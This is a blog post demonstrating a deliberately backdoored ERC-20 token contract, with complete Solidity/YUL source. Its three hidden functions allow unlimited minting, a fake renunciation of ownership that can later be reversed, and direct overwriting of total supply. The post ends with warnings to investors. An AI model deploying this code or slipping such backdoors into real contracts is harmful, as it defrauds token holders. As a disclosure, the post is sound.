Manipulating the Blockchain for Fun and (NOT) for Profit

January 7, 2025

Tricking the Blockchain: Manipulating Contracts Using YUL

Below, we delve into three specific manipulations of my malicious blockchain contract, explaining how YUL facilitates direct control over Ethereum’s storage model. We'll conclude by analyzing the implications of these techniques.


Understanding YUL's Role in Blockchain Manipulation

YUL allows developers to interact with the Ethereum Virtual Machine (EVM) at a low level, providing tools to directly manipulate storage and execute operations efficiently. By bypassing the abstraction provided by Solidity, YUL can directly read and write to storage slots, enabling fine-grained control over contract behavior.

At its core:

  • Ethereum stores contract data in a key-value structure called storage slots.
  • Solidity-generated code maps these slots to variables, ensuring abstraction.
  • YUL bypasses this abstraction, letting developers operate directly on storage.

This is the storage layout of my malicious contract:

Storage Layout

This blog presents three proofs of concept showcasing how to exploit this capability.


1. Manipulating the Mint Function

Objective

Override the balance of our account to mint tokens directly, ignoring supply constraints or contract logic. This enables us to mint unlimited tokens, even bypassing a predefined max supply.

How It Works

ERC-20 tokens use a mapping (_balances) to track user balances. By calculating the correct storage slot hash for a specific user and writing to it, we can directly update their balance.

Code

function manipulateMint(uint256 amount) public onlyOwner {
    assembly {
        mstore(0x00, caller()) // Load the caller's address
        mstore(0x20, 0)        // Set _balances slot index
        let balancesHash := keccak256(0x00, 0x40) // Compute storage slot for caller
        sstore(balancesHash, amount) // Update balance in storage
    }
}

Explanation

  1. Storage Slot Computation:

    • Solidity maps mappings (_balances) by hashing the key (address) with the base storage slot.
    • keccak256(abi.encodePacked(key, slot)) computes the location.
  2. Direct Storage Update:

    • Using sstore, the calculated slot is updated with the specified token balance.

Impact

The owner can mint unlimited tokens, even bypassing a predefined max supply.

Manipulate Mint

2. Manipulating Ownership

Objective

Transfer ownership to the null address (0x0), appearing to relinquish control while secretly retaining it. This creates an illusion of decentralization.

How It Works

The ownershipToNullAddress function assigns ownership to 0x0 but saves the original owner's address. Later, ownership can be reclaimed by invoking updateOwnerToOldOwner.

Code

function ownershipToNullAddress() public onlyOwner {
    oldOwner = owner;       // Save the current owner
    owner = address(0);     // Set owner to null address
}

function updateOwnerToOldOwner() external {
    require(msg.sender == oldOwner, "Only Old Owner"); // Validate the caller
    assembly {
        let ownerSlot := 5 // Slot where `owner` is stored
        let oldOwnerSlot := 6 // Slot where `oldOwner` is stored
        let oldOwnerValue := sload(oldOwnerSlot) // Retrieve old owner
        sstore(ownerSlot, oldOwnerValue) // Restore ownership
        sstore(oldOwnerSlot, 0x00) // Clear the old owner
    }
}

Explanation

  1. Ownership Nullification:

    • The owner is set to 0x0, creating an appearance of relinquishment.
  2. Reclaiming Ownership:

    • Storage slots for owner and oldOwner are manually updated via YUL.
    • sstore restores the original owner and clears sensitive traces.

Impact

This enables the original owner to reclaim control surreptitiously, misleading users about the contract’s decentralization.

  1. First we set the owner to the null address: Ownership to Null Address Observe the owner is now the null address. Old Owner
  2. Then we set the owner back to the original owner with the updateOwnerToOldOwner function: tx id: 0x289b59fb3507baeb3104c39716ad2eaa436ae5f47203c28a255fef309f3f8513 Old Owner

3. Inflating and Deflating Total Supply

Objective

Directly modify the totalSupply variable to inflate the token supply arbitrarily, destabilizing token economics.

How It Works

ERC-20 contracts typically store totalSupply in a specific slot. By directly writing to this slot using sstore, we can assign an arbitrary value.

Code

function manipulateTotalSupply(uint256 amount) public onlyOwner {
    assembly {
        sstore(2, amount) // Directly set totalSupply storage slot
    }
}

Manipulate Total Supply

Explanation

  1. Storage Slot Targeting:

    • The totalSupply variable in this example is stored in slot 2.
    • By directly overwriting this slot, the token supply can be manipulated.
  2. Bypassing Constraints:

    • No checks or validations from Solidity are enforced due to the direct manipulation.

Impact

Such inflation undermines trust in the token's value and economic stability.


Understanding the Full Contract

Here’s the complete contract, integrating these manipulations for demonstration:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "openzeppelin/contracts/token/ERC20/ERC20.sol";

contract BypassToken is ERC20 {
    address public owner;
    address public oldOwner;

    modifier onlyOwner() {
        require(msg.sender == owner, "Only Owner");
        _;
    }

    constructor() ERC20("BypassToken", "BTK") {
        _mint(msg.sender, 5000 * (10 ** decimals()));
        owner = msg.sender;
    }

    function manipulateMint(uint256 amount) public onlyOwner {
        assembly {
            mstore(0x00, caller())
            mstore(0x20, 0)
            let balancesHash := keccak256(0x00, 0x40)
            sstore(balancesHash, amount)
        }
    }

    function ownershipToNullAddress() public onlyOwner {
        oldOwner = owner;
        owner = address(0);
    }

    function updateOwnerToOldOwner() external {
        require(msg.sender == oldOwner, "Only Old Owner");
        assembly {
            let ownerSlot := 5
            let oldOwnerSlot := 6
            let oldOwnerValue := sload(oldOwnerSlot)
            sstore(ownerSlot, oldOwnerValue)
            sstore(oldOwnerSlot, 0x00)
        }
    }

    function manipulateTotalSupply(uint256 amount) public onlyOwner {
        assembly {
            sstore(2, amount)
        }
    }
}

By understanding YUL's low-level operations and the EVM's storage model, we've demonstrated how contracts can be manipulated to bypass security checks. This highlights a critical security concern:

IMPORTANT:

  • Popular contract scanners and security tools may fail to detect these low-level manipulations
  • A contract appearing "safe" on security scanners is not a guarantee of its trustworthiness
  • Always review the complete source code, including assembly-level operations
  • Be extremely cautious when investing in or interacting with smart contracts, even those that pass automated security checks
  • If you can't fully understand the contract's code or don't have access to it, consider it potentially malicious

Remember: The techniques demonstrated in this article can be used maliciously to create seemingly safe contracts that actually contain hidden backdoors and vulnerabilities. Your funds could be at risk.